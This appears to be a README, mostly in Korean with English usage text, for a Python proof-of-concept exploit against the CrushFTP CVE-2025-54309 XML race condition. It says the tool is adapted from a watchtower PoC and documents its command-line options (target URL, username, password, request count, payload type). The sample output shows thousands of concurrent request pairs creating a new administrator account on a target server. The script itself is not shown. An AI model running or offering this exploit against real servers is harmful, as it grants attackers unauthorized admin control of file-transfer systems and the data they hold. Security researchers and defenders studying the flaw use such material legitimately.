
CrushFTP CVE-2025-54309 XML 경쟁 조건 취약점용 Python 익스플로잇입니다. 구성 가능한 페이로드 유형과 요청 수로 동시 요청을 통해 관리자 사용자를 생성합니다.
watchtower가 제작한 경쟁 조건 PoC로, 더 확장 가능하도록 조정되었습니다.
python crushedftp.py
usage: crushedftp.py [-h] [-u USERNAME] [-p PASSWORD] [-r REQUESTS] [-P PAYLOAD] target
CrushFTP CVE-2025-54309 XML Race Condition Exploit
positional arguments:
target Target CrushFTP URL (e.g. http://ftp.myserver.poo)
options:
-h, --help show this help message and exit
-u, --username USERNAME
username for user_create payload: (default: meow)
-p, --password PASSWORD
password for user_create payload (default: meow!)
-r, --requests REQUESTS
Number of request pairs (default: 5000)
-P, --payload PAYLOAD
payload type
[*] Target: http://ftp.test.com
[*] New admin user: test:test
[*] PROGRESS: 50/5000 request pairs completed...
[+] Payload success!
Payload Success!